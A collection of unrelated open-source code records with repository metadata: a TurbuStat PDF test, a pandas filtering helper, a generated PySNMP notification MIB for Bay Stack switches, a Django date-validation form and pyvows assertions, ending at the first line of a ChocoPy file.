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e7289fa1f549284d7e98f8964c2d31047a9bc6da | 7c2c36ebf1a28a1b3990578bb59883d0a5fe74e6 | /turbustat/tests/test_pdf.py | 3ab83d5028113dcd19cf5de8be96265696ed77af | [
"MIT"
] | permissive | hopehhchen/TurbuStat | 1ebb6dbdd9e80fcacc0e4ed75359909a1bad8a4d | 3793c8b3a6deb4c14b1388b5290a21d93f1697cf | refs/heads/master | 2020-07-09T23:58:07.035643 | 2015-06-08T14:43:38 | 2015-06-08T14:43:38 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,371 | py | # Licensed under an MIT open source license - see LICENSE
from unittest import TestCase
import numpy as np
import numpy.testing as npt
from ..statistics.pdf import PDF, PDF_Distance
from ._testing_data import \
dataset1, dataset2, computed_data, computed_distances
class testPDF(TestCase):
def setUp(self):
self.dataset1 = dataset1
self.dataset2 = dataset2
def test_PDF_distance(self):
self.test_dist = \
PDF_Distance(self.dataset1["integrated_intensity"][0],
self.dataset2["integrated_intensity"][0],
min_val1=0.05,
min_val2=0.05,
weights1=self.dataset1["integrated_intensity_error"][0] ** -2.,
weights2=self.dataset2["integrated_intensity_error"][0] ** -2.)
self.test_dist.distance_metric()
assert np.allclose(self.test_dist.PDF1.pdf, computed_data["pdf_val"])
npt.assert_almost_equal(self.test_dist.hellinger_distance,
computed_distances['pdf_hellinger_distance'])
npt.assert_almost_equal(self.test_dist.ks_distance,
computed_distances['pdf_ks_distance'])
npt.assert_almost_equal(self.test_dist.ad_distance,
computed_distances['pdf_ad_distance'])
| [
"[email protected]"
] | |
83ac34c589d3f1a44e27f059c40cebcdad36f63d | b54d6a18bc5e86462c1f085386bc48065db5851c | /targetDF.py | 0c442099cfd980035cfa5306b1d087212fa72489 | [] | no_license | zoshs2/Percolation_Seoul | 5b5b8ebabe186fbc9e265fc190c3d0641e196517 | 69c0aa99d1f7a2fb9259681a1ed63794cbe5ea5c | refs/heads/main | 2023-07-28T20:50:13.393765 | 2021-09-28T13:25:31 | 2021-09-28T13:25:31 | 390,687,544 | 1 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,030 | py | import pandas as pd
def targetDF(dataset, YEAR, MONTH, DAY, HOUR=False, MINUTE=False) -> pd.DataFrame:
'''
Return pd.DataFrame with only data that we concerned.
Example
-------
In[0] date_dataset = targetDF(dataset, 2021, 2, 1)
In[1] date_dataset = extract_ratio_df(date_dataset) # Generate a ratio column
In[2] time_dataset = targetDF(date_dataset, 2021, 2, 1, 9, 0) # 2021-02-01 / 09:00 AM
In[3] CheckOverRatio(time_dataset) # Check over ratio raws & do the correction by inplacing.
'''
if (HOUR is not False) & (MINUTE is not False):
vel_target = dataset[(dataset['PRCS_YEAR']==YEAR) & (dataset['PRCS_MON']==MONTH) & (dataset['PRCS_DAY']==DAY) & (dataset['PRCS_HH']==HOUR) & (dataset['PRCS_MIN']==MINUTE)]
vel_target = vel_target.reset_index(drop=True)
return vel_target
vel_target = dataset[(dataset['PRCS_YEAR']==YEAR) & (dataset['PRCS_MON']==MONTH) & (dataset['PRCS_DAY']==DAY)]
vel_target = vel_target.reset_index(drop=True)
return vel_target | [
"[email protected]"
] | |
47ea363768f04b52b108cc1522373cc3a8f7d61a | 85a9ffeccb64f6159adbd164ff98edf4ac315e33 | /pysnmp/BAY-STACK-NOTIFICATIONS-MIB.py | 9fe6dd9a7f0564c4dc72d5d5ffd161421012167e | [
"Apache-2.0"
] | permissive | agustinhenze/mibs.snmplabs.com | 5d7d5d4da84424c5f5a1ed2752f5043ae00019fb | 1fc5c07860542b89212f4c8ab807057d9a9206c7 | refs/heads/master | 2020-12-26T12:41:41.132395 | 2019-08-16T15:51:41 | 2019-08-16T15:53:57 | 237,512,469 | 0 | 0 | Apache-2.0 | 2020-01-31T20:41:36 | 2020-01-31T20:41:35 | null | UTF-8 | Python | false | false | 19,230 | py | #
# PySNMP MIB module BAY-STACK-NOTIFICATIONS-MIB (http://snmplabs.com/pysmi)
# ASN.1 source file:///Users/davwang4/Dev/mibs.snmplabs.com/asn1/BAY-STACK-NOTIFICATIONS-MIB
# Produced by pysmi-0.3.4 at Mon Apr 29 17:19:14 2019
# On host DAVWANG4-M-1475 platform Darwin version 18.5.0 by user davwang4
# Using Python version 3.7.3 (default, Mar 27 2019, 09:23:15)
#
OctetString, ObjectIdentifier, Integer = mibBuilder.importSymbols("ASN1", "OctetString", "ObjectIdentifier", "Integer")
NamedValues, = mibBuilder.importSymbols("ASN1-ENUMERATION", "NamedValues")
ValueSizeConstraint, ValueRangeConstraint, SingleValueConstraint, ConstraintsUnion, ConstraintsIntersection = mibBuilder.importSymbols("ASN1-REFINEMENT", "ValueSizeConstraint", "ValueRangeConstraint", "SingleValueConstraint", "ConstraintsUnion", "ConstraintsIntersection")
bayStackConfigExpectedStackSize, bayStackUnitConfigIndex = mibBuilder.importSymbols("BAY-STACK-MIB", "bayStackConfigExpectedStackSize", "bayStackUnitConfigIndex")
dot1xAuthBackendAuthState, dot1xAuthPaeState = mibBuilder.importSymbols("IEEE8021-PAE-MIB", "dot1xAuthBackendAuthState", "dot1xAuthPaeState")
ifIndex, ifAdminStatus, InterfaceIndex = mibBuilder.importSymbols("IF-MIB", "ifIndex", "ifAdminStatus", "InterfaceIndex")
InetAddress, InetAddressType = mibBuilder.importSymbols("INET-ADDRESS-MIB", "InetAddress", "InetAddressType")
s5AgSysUsbTargetUnit, s5AgentScriptStatus = mibBuilder.importSymbols("S5-AGENT-MIB", "s5AgSysUsbTargetUnit", "s5AgentScriptStatus")
s5ChasComType, = mibBuilder.importSymbols("S5-CHASSIS-MIB", "s5ChasComType")
SnmpAdminString, = mibBuilder.importSymbols("SNMP-FRAMEWORK-MIB", "SnmpAdminString")
NotificationGroup, ModuleCompliance = mibBuilder.importSymbols("SNMPv2-CONF", "NotificationGroup", "ModuleCompliance")
ObjectIdentity, MibIdentifier, Bits, iso, Counter32, Gauge32, IpAddress, ModuleIdentity, NotificationType, Unsigned32, Counter64, Integer32, MibScalar, MibTable, MibTableRow, MibTableColumn, TimeTicks = mibBuilder.importSymbols("SNMPv2-SMI", "ObjectIdentity", "MibIdentifier", "Bits", "iso", "Counter32", "Gauge32", "IpAddress", "ModuleIdentity", "NotificationType", "Unsigned32", "Counter64", "Integer32", "MibScalar", "MibTable", "MibTableRow", "MibTableColumn", "TimeTicks")
MacAddress, TextualConvention, DisplayString = mibBuilder.importSymbols("SNMPv2-TC", "MacAddress", "TextualConvention", "DisplayString")
bayStackMibs, = mibBuilder.importSymbols("SYNOPTICS-ROOT-MIB", "bayStackMibs")
bayStackNotificationsMib = ModuleIdentity((1, 3, 6, 1, 4, 1, 45, 5, 2))
bayStackNotificationsMib.setRevisions(('2014-07-07 00:00', '2014-01-27 00:00', '2013-10-11 00:00', '2013-08-22 00:00', '2013-03-19 00:00', '2012-09-04 00:00', '2012-08-22 00:00', '2012-08-16 00:00', '2012-06-21 00:00', '2012-06-20 00:00', '2011-11-30 00:00', '2010-12-21 00:00', '2009-09-28 00:00', '2008-07-09 00:00', '2008-03-31 00:00', '2007-03-05 00:00', '2006-04-06 00:00', '2006-04-04 00:00', '2005-08-22 00:00', '2005-06-30 00:00', '2005-03-26 00:00', '2004-08-06 00:00', '2004-08-02 00:00', '2004-07-20 00:00', '2003-03-16 00:00',))
if mibBuilder.loadTexts: bayStackNotificationsMib.setLastUpdated('201407070000Z')
if mibBuilder.loadTexts: bayStackNotificationsMib.setOrganization('Avaya')
bsnObjects = MibIdentifier((1, 3, 6, 1, 4, 1, 45, 5, 2, 1))
bsnNotifications = MibIdentifier((1, 3, 6, 1, 4, 1, 45, 5, 2, 2))
bsnNotifications0 = MibIdentifier((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0))
bsnEapAccessViolationMacAddress = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 1), MacAddress()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnEapAccessViolationMacAddress.setStatus('current')
bsnLoginFailureType = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 2), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("telnet", 1), ("ssh", 2), ("web", 3), ("serialConsole", 4)))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnLoginFailureType.setStatus('current')
bsnLoginFailureAddressType = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 3), InetAddressType()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnLoginFailureAddressType.setStatus('current')
bsnLoginFailureAddress = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 4), InetAddress()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnLoginFailureAddress.setStatus('current')
bsnLoginFailureUsername = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 5), SnmpAdminString()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnLoginFailureUsername.setStatus('current')
bsnActualStackSize = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 6), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 8))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnActualStackSize.setStatus('current')
bsnEapUbpFailureIfIndex = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 7), InterfaceIndex()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnEapUbpFailureIfIndex.setStatus('current')
bsnEapUbpFailureMacAddress = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 8), MacAddress()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnEapUbpFailureMacAddress.setStatus('current')
bsnEapUbpFailureRoleString = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 9), OctetString().subtype(subtypeSpec=ValueSizeConstraint(0, 64))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnEapUbpFailureRoleString.setStatus('current')
bsnTrialLicenseExpirationTime = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 10), Integer32().subtype(subtypeSpec=ValueRangeConstraint(0, 30))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnTrialLicenseExpirationTime.setStatus('current')
bsnTrialLicenseExpirationNumber = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 11), Integer32().subtype(subtypeSpec=ValueRangeConstraint(1, 10))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnTrialLicenseExpirationNumber.setStatus('current')
bsnEnteredForcedStackModeMAC = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 12), MacAddress()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnEnteredForcedStackModeMAC.setStatus('current')
bsnEapRAVErrorMacAddress = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 13), MacAddress()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnEapRAVErrorMacAddress.setStatus('current')
bsnEapRAVErrorPort = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 14), InterfaceIndex()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnEapRAVErrorPort.setStatus('current')
bsnEnteredForcedStackModeAddressType = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 15), InetAddressType()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnEnteredForcedStackModeAddressType.setStatus('current')
bsnEnteredForcedStackModeAddress = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 16), InetAddress()).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnEnteredForcedStackModeAddress.setStatus('current')
bsnStackProtectionEvent = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 17), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2))).clone(namedValues=NamedValues(("cannotJoinStack", 1), ("unitIgnored", 2)))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnStackProtectionEvent.setStatus('current')
bsnUSBInfo = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 18), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnUSBInfo.setStatus('current')
bsnSFPInfo = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 19), DisplayString().subtype(subtypeSpec=ValueSizeConstraint(0, 255))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnSFPInfo.setStatus('current')
bsnAaaUserName = MibScalar((1, 3, 6, 1, 4, 1, 45, 5, 2, 1, 20), SnmpAdminString().subtype(subtypeSpec=ValueSizeConstraint(10, 16))).setMaxAccess("accessiblefornotify")
if mibBuilder.loadTexts: bsnAaaUserName.setStatus('current')
bsnConfigurationSavedToNvram = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 1))
if mibBuilder.loadTexts: bsnConfigurationSavedToNvram.setStatus('current')
bsnEapAccessViolation = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 2)).setObjects(("IEEE8021-PAE-MIB", "dot1xAuthPaeState"), ("IEEE8021-PAE-MIB", "dot1xAuthBackendAuthState"), ("BAY-STACK-NOTIFICATIONS-MIB", "bsnEapAccessViolationMacAddress"))
if mibBuilder.loadTexts: bsnEapAccessViolation.setStatus('current')
bsnPortSpeedDuplexMismatch = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 3)).setObjects(("IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: bsnPortSpeedDuplexMismatch.setStatus('current')
bsnStackManagerReconfiguration = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 4))
if mibBuilder.loadTexts: bsnStackManagerReconfiguration.setStatus('current')
bsnLacTrunkUnavailable = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 5))
if mibBuilder.loadTexts: bsnLacTrunkUnavailable.setStatus('current')
bsnLoginFailure = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 6)).setObjects(("BAY-STACK-NOTIFICATIONS-MIB", "bsnLoginFailureType"), ("BAY-STACK-NOTIFICATIONS-MIB", "bsnLoginFailureAddressType"), ("BAY-STACK-NOTIFICATIONS-MIB", "bsnLoginFailureAddress"), ("BAY-STACK-NOTIFICATIONS-MIB", "bsnLoginFailureUsername"))
if mibBuilder.loadTexts: bsnLoginFailure.setStatus('current')
bsnMLTHealthFailure = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 7)).setObjects(("IF-MIB", "ifAdminStatus"))
if mibBuilder.loadTexts: bsnMLTHealthFailure.setStatus('current')
bsnTrunkPortDisabledToPreventBroadcastStorm = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 8)).setObjects(("IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: bsnTrunkPortDisabledToPreventBroadcastStorm.setStatus('current')
bsnLacPortDisabledToPreventBroadcastStorm = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 9)).setObjects(("IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: bsnLacPortDisabledToPreventBroadcastStorm.setStatus('current')
bsnTrunkPortEnabledToPreventBroadcastStorm = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 10)).setObjects(("IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: bsnTrunkPortEnabledToPreventBroadcastStorm.setStatus('current')
bsnLacPortDisabledDueToLossOfVLACPDU = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 11)).setObjects(("IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: bsnLacPortDisabledDueToLossOfVLACPDU.setStatus('current')
bsnLacPortEnabledDueToReceiptOfVLACPDU = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 12)).setObjects(("IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: bsnLacPortEnabledDueToReceiptOfVLACPDU.setStatus('current')
bsnStackConfigurationError = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 13)).setObjects(("BAY-STACK-MIB", "bayStackConfigExpectedStackSize"), ("BAY-STACK-NOTIFICATIONS-MIB", "bsnActualStackSize"))
if mibBuilder.loadTexts: bsnStackConfigurationError.setStatus('current')
bsnEapUbpFailure = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 14)).setObjects(("BAY-STACK-NOTIFICATIONS-MIB", "bsnEapUbpFailureIfIndex"), ("BAY-STACK-NOTIFICATIONS-MIB", "bsnEapUbpFailureMacAddress"), ("BAY-STACK-NOTIFICATIONS-MIB", "bsnEapUbpFailureRoleString"))
if mibBuilder.loadTexts: bsnEapUbpFailure.setStatus('current')
bsnTrialLicenseExpiration = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 15)).setObjects(("BAY-STACK-NOTIFICATIONS-MIB", "bsnTrialLicenseExpirationTime"), ("BAY-STACK-NOTIFICATIONS-MIB", "bsnTrialLicenseExpirationNumber"))
if mibBuilder.loadTexts: bsnTrialLicenseExpiration.setStatus('current')
bsnEnteredForcedStackMode = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 16)).setObjects(("BAY-STACK-NOTIFICATIONS-MIB", "bsnEnteredForcedStackModeMAC"), ("BAY-STACK-NOTIFICATIONS-MIB", "bsnEnteredForcedStackModeAddressType"), ("BAY-STACK-NOTIFICATIONS-MIB", "bsnEnteredForcedStackModeAddress"))
if mibBuilder.loadTexts: bsnEnteredForcedStackMode.setStatus('current')
bsnTemperatureExceeded = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 17)).setObjects(("S5-CHASSIS-MIB", "s5ChasComType"))
if mibBuilder.loadTexts: bsnTemperatureExceeded.setStatus('current')
bsnEapRAVError = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 18)).setObjects(("IEEE8021-PAE-MIB", "dot1xAuthPaeState"), ("IEEE8021-PAE-MIB", "dot1xAuthBackendAuthState"), ("BAY-STACK-NOTIFICATIONS-MIB", "bsnEapRAVErrorMacAddress"), ("BAY-STACK-NOTIFICATIONS-MIB", "bsnEapRAVErrorPort"))
if mibBuilder.loadTexts: bsnEapRAVError.setStatus('current')
bsnEapRateLimitExceeded = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 19)).setObjects(("IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: bsnEapRateLimitExceeded.setStatus('current')
bsnSystemUp365Days = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 20)).setObjects(("BAY-STACK-MIB", "bayStackUnitConfigIndex"))
if mibBuilder.loadTexts: bsnSystemUp365Days.setStatus('current')
bsnUSBInsertion = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 21)).setObjects(("S5-AGENT-MIB", "s5AgSysUsbTargetUnit"), ("BAY-STACK-NOTIFICATIONS-MIB", "bsnUSBInfo"))
if mibBuilder.loadTexts: bsnUSBInsertion.setStatus('current')
bsnUSBRemoval = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 22)).setObjects(("S5-AGENT-MIB", "s5AgSysUsbTargetUnit"))
if mibBuilder.loadTexts: bsnUSBRemoval.setStatus('current')
bsnSFPInsertion = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 23)).setObjects(("IF-MIB", "ifIndex"), ("BAY-STACK-NOTIFICATIONS-MIB", "bsnSFPInfo"))
if mibBuilder.loadTexts: bsnSFPInsertion.setStatus('current')
bsnSFPRemoval = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 24)).setObjects(("IF-MIB", "ifIndex"))
if mibBuilder.loadTexts: bsnSFPRemoval.setStatus('current')
bsnROPasswordExpired = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 25))
if mibBuilder.loadTexts: bsnROPasswordExpired.setStatus('current')
bsnRWPasswordExpired = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 26))
if mibBuilder.loadTexts: bsnRWPasswordExpired.setStatus('current')
bsnStackProtection = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 27)).setObjects(("BAY-STACK-NOTIFICATIONS-MIB", "bsnStackProtectionEvent"))
if mibBuilder.loadTexts: bsnStackProtection.setStatus('current')
bsnRunScripts = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 28)).setObjects(("S5-AGENT-MIB", "s5AgentScriptStatus"))
if mibBuilder.loadTexts: bsnRunScripts.setStatus('current')
bsnAaaUserAccountNotUsed = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 29)).setObjects(("BAY-STACK-NOTIFICATIONS-MIB", "bsnAaaUserName"))
if mibBuilder.loadTexts: bsnAaaUserAccountNotUsed.setStatus('current')
bsnAaaAlreadyConnected = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 30)).setObjects(("BAY-STACK-NOTIFICATIONS-MIB", "bsnAaaUserName"))
if mibBuilder.loadTexts: bsnAaaAlreadyConnected.setStatus('current')
bsnAaaIncorrectLogOnThresholdExceeded = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 31)).setObjects(("BAY-STACK-NOTIFICATIONS-MIB", "bsnAaaUserName"))
if mibBuilder.loadTexts: bsnAaaIncorrectLogOnThresholdExceeded.setStatus('current')
bsnAaaMaxNoOfSessionsExceeded = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 32)).setObjects(("BAY-STACK-NOTIFICATIONS-MIB", "bsnAaaUserName"))
if mibBuilder.loadTexts: bsnAaaMaxNoOfSessionsExceeded.setStatus('current')
bsnAuditUnsentMessages = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 33))
if mibBuilder.loadTexts: bsnAuditUnsentMessages.setStatus('current')
bsnAuditRecordEventsFailure = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 34))
if mibBuilder.loadTexts: bsnAuditRecordEventsFailure.setStatus('current')
bsnAuditStartUpTrap = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 35))
if mibBuilder.loadTexts: bsnAuditStartUpTrap.setStatus('current')
bsnAuditShutDownTrap = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 36))
if mibBuilder.loadTexts: bsnAuditShutDownTrap.setStatus('current')
bsnAaaUserPasswordExpired = NotificationType((1, 3, 6, 1, 4, 1, 45, 5, 2, 2, 0, 37)).setObjects(("BAY-STACK-NOTIFICATIONS-MIB", "bsnAaaUserName"))
if mibBuilder.loadTexts: bsnAaaUserPasswordExpired.setStatus('current')
mibBuilder.exportSymbols("BAY-STACK-NOTIFICATIONS-MIB", bsnActualStackSize=bsnActualStackSize, bsnSFPInsertion=bsnSFPInsertion, bsnLacPortDisabledToPreventBroadcastStorm=bsnLacPortDisabledToPreventBroadcastStorm, bsnLoginFailureUsername=bsnLoginFailureUsername, bsnROPasswordExpired=bsnROPasswordExpired, bsnEapAccessViolationMacAddress=bsnEapAccessViolationMacAddress, bsnAaaMaxNoOfSessionsExceeded=bsnAaaMaxNoOfSessionsExceeded, bsnAuditStartUpTrap=bsnAuditStartUpTrap, bsnStackManagerReconfiguration=bsnStackManagerReconfiguration, bsnAuditShutDownTrap=bsnAuditShutDownTrap, bsnEnteredForcedStackModeMAC=bsnEnteredForcedStackModeMAC, bsnTrialLicenseExpirationNumber=bsnTrialLicenseExpirationNumber, bsnEapRAVErrorPort=bsnEapRAVErrorPort, bsnEnteredForcedStackModeAddress=bsnEnteredForcedStackModeAddress, bsnConfigurationSavedToNvram=bsnConfigurationSavedToNvram, bsnObjects=bsnObjects, bsnUSBRemoval=bsnUSBRemoval, bsnTrialLicenseExpirationTime=bsnTrialLicenseExpirationTime, bsnMLTHealthFailure=bsnMLTHealthFailure, bsnUSBInsertion=bsnUSBInsertion, bsnLacPortDisabledDueToLossOfVLACPDU=bsnLacPortDisabledDueToLossOfVLACPDU, bayStackNotificationsMib=bayStackNotificationsMib, bsnLacTrunkUnavailable=bsnLacTrunkUnavailable, bsnEapRateLimitExceeded=bsnEapRateLimitExceeded, bsnEnteredForcedStackModeAddressType=bsnEnteredForcedStackModeAddressType, bsnStackConfigurationError=bsnStackConfigurationError, bsnLoginFailureType=bsnLoginFailureType, bsnTemperatureExceeded=bsnTemperatureExceeded, bsnEapUbpFailureRoleString=bsnEapUbpFailureRoleString, bsnSystemUp365Days=bsnSystemUp365Days, bsnAaaAlreadyConnected=bsnAaaAlreadyConnected, bsnEapUbpFailureMacAddress=bsnEapUbpFailureMacAddress, bsnAaaIncorrectLogOnThresholdExceeded=bsnAaaIncorrectLogOnThresholdExceeded, bsnEapRAVError=bsnEapRAVError, bsnAuditRecordEventsFailure=bsnAuditRecordEventsFailure, bsnEapUbpFailure=bsnEapUbpFailure, bsnRunScripts=bsnRunScripts, bsnStackProtectionEvent=bsnStackProtectionEvent, bsnAaaUserPasswordExpired=bsnAaaUserPasswordExpired, bsnNotifications0=bsnNotifications0, bsnLoginFailureAddress=bsnLoginFailureAddress, bsnEnteredForcedStackMode=bsnEnteredForcedStackMode, bsnStackProtection=bsnStackProtection, bsnAuditUnsentMessages=bsnAuditUnsentMessages, bsnNotifications=bsnNotifications, bsnLacPortEnabledDueToReceiptOfVLACPDU=bsnLacPortEnabledDueToReceiptOfVLACPDU, bsnSFPInfo=bsnSFPInfo, bsnLoginFailure=bsnLoginFailure, bsnTrialLicenseExpiration=bsnTrialLicenseExpiration, bsnEapAccessViolation=bsnEapAccessViolation, bsnRWPasswordExpired=bsnRWPasswordExpired, bsnEapUbpFailureIfIndex=bsnEapUbpFailureIfIndex, bsnTrunkPortEnabledToPreventBroadcastStorm=bsnTrunkPortEnabledToPreventBroadcastStorm, bsnPortSpeedDuplexMismatch=bsnPortSpeedDuplexMismatch, bsnEapRAVErrorMacAddress=bsnEapRAVErrorMacAddress, PYSNMP_MODULE_ID=bayStackNotificationsMib, bsnTrunkPortDisabledToPreventBroadcastStorm=bsnTrunkPortDisabledToPreventBroadcastStorm, bsnAaaUserName=bsnAaaUserName, bsnLoginFailureAddressType=bsnLoginFailureAddressType, bsnAaaUserAccountNotUsed=bsnAaaUserAccountNotUsed, bsnUSBInfo=bsnUSBInfo, bsnSFPRemoval=bsnSFPRemoval)
| [
"[email protected]"
] | |
e3af53fba43b0b71ce8efca13bf2a89e6455544d | cea45595be3e9ff0daa09b4443c7220368e5c512 | /catalog/forms.py | d17b59b3d29f1d2a4beed6697d06d27d5e996bb9 | [] | no_license | VladyslavHnatchenko/mdn | 7b65ecf2e73eff2533aae4ffe5ad6a5a928750d9 | f74736aeaf8c4b8ca51889c1a00571cb07f6dba2 | refs/heads/master | 2020-04-18T02:16:08.622726 | 2019-02-15T13:37:49 | 2019-02-15T13:37:49 | 167,149,898 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 919 | py | import datetime
from django import forms
from django.core.exceptions import ValidationError
from django.utils.translation import ugettext_lazy as _
class RenewBookForm(forms.Form):
renewal_date = forms.DateField(help_text="Enter a date between now and"
" 4 weeks (default 3).")
def clean_renewal_date(self):
data = self.cleaned_data['renewal_date']
# Check if a date is not in the past.
if data < datetime.date.today():
raise ValidationError(_('Invalid date - renewal in past'))
# Check if a date is in the allowed range (+4 weeks from today).
if data > datetime.date.today() + datetime.timedelta(weeks=4):
raise ValidationError(_('Invalid date - renewal more than 4 weeks '
'ahead'))
# Remember to always return the cleaned data.
return data
| [
"[email protected]"
] | |
3170c04749e484a7ed6bc52dc2aac6b927bdd8f1 | 29790e8faa702dc52ff2ebf905d15ff8c6cfcda9 | /pyvows/assertions/inclusion.py | fc1d51ea05f322686a78849c17c541a6ad3d37a1 | [] | no_license | scraping-xx/pyvows | 0227a2b3f16bcf562acb48902ed3c58d6e616791 | b03e9bed37b93f24eca1dd910c05e78e81969ca2 | refs/heads/master | 2020-12-01T01:15:09.487368 | 2011-08-16T03:36:57 | 2011-08-16T03:36:57 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 633 | py | #!/usr/bin/env python
# -*- coding: utf-8 -*-
# pyVows testing engine
# https://github.com/heynemann/pyvows
# Licensed under the MIT license:
# http://www.opensource.org/licenses/mit-license
# Copyright (c) 2011 Bernardo Heynemann [email protected]
from pyvows import Vows
@Vows.assertion
def to_include(topic, expected):
message = "Expected topic(%s) to include %s, but it didn't" % (topic, expected)
assert expected in topic, message
@Vows.assertion
def not_to_include(topic, expected):
message = "Expected topic(%s) not to include %s, but it did" % (topic, expected)
assert expected not in topic, message
| [
"[email protected]"
] | |
371e2253a9dfed238c59e6c0d05d3ff759ba2f77 | c9ddbdb5678ba6e1c5c7e64adf2802ca16df778c | /cases/synthetic/coverage-big-1134.py | ddbf3edc9d3761abdb1aadc07c33a7eef98fd2b1 | [] | no_license | Virtlink/ccbench-chocopy | c3f7f6af6349aff6503196f727ef89f210a1eac8 | c7efae43bf32696ee2b2ee781bdfe4f7730dec3f | refs/heads/main | 2023-04-07T15:07:12.464038 | 2022-02-03T15:42:39 | 2022-02-03T15:42:39 | 451,969,776 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,176 | py | count:int = 0
